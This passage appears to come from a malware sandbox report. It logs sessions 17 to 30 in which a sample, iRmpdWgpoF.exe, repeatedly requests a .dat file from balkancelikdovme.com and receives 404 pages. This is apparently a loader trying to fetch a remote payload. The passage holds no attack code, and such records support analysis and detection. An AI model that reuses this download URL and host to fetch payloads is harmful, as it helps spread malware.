2025-01-10 21:37:30 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49747	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:30 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:31 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:31 GMT vary: User-Agent
2025-01-10 21:37:31 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49749	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:31 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:32 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:32 GMT vary: User-Agent
2025-01-10 21:37:32 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49751	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:32 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:32 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:32 GMT vary: User-Agent
2025-01-10 21:37:32 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49754	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:33 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:33 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:33 GMT vary: User-Agent
2025-01-10 21:37:33 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49756	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:34 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:34 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:34 GMT vary: User-Agent
2025-01-10 21:37:34 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49758	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:35 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:35 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:35 GMT vary: User-Agent
2025-01-10 21:37:35 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49759	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:36 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:36 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:36 GMT vary: User-Agent
2025-01-10 21:37:36 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49760	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:37 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:37 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:37 GMT vary: User-Agent
2025-01-10 21:37:37 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49761	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:38 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:38 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:38 GMT vary: User-Agent
2025-01-10 21:37:38 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49762	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:38 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:39 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:39 GMT vary: User-Agent
2025-01-10 21:37:39 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49763	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:39 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:40 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:39 GMT vary: User-Agent
2025-01-10 21:37:40 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49764	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:40 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:40 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:40 GMT vary: User-Agent
2025-01-10 21:37:40 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49765	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:41 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:41 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:41 GMT vary: User-Agent
2025-01-10 21:37:41 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49766	185.181.116.217	443	6428	C:\Users\user\Desktop\iRmpdWgpoF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 21:37:42 UTC	66	OUT	GET /uslasw/Opkvejbda.dat HTTP/1.1 Host: balkancelikdovme.com
2025-01-10 21:37:42 UTC	236	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Fri, 10 Jan 2025 21:37:42 GMT vary: User-Agent
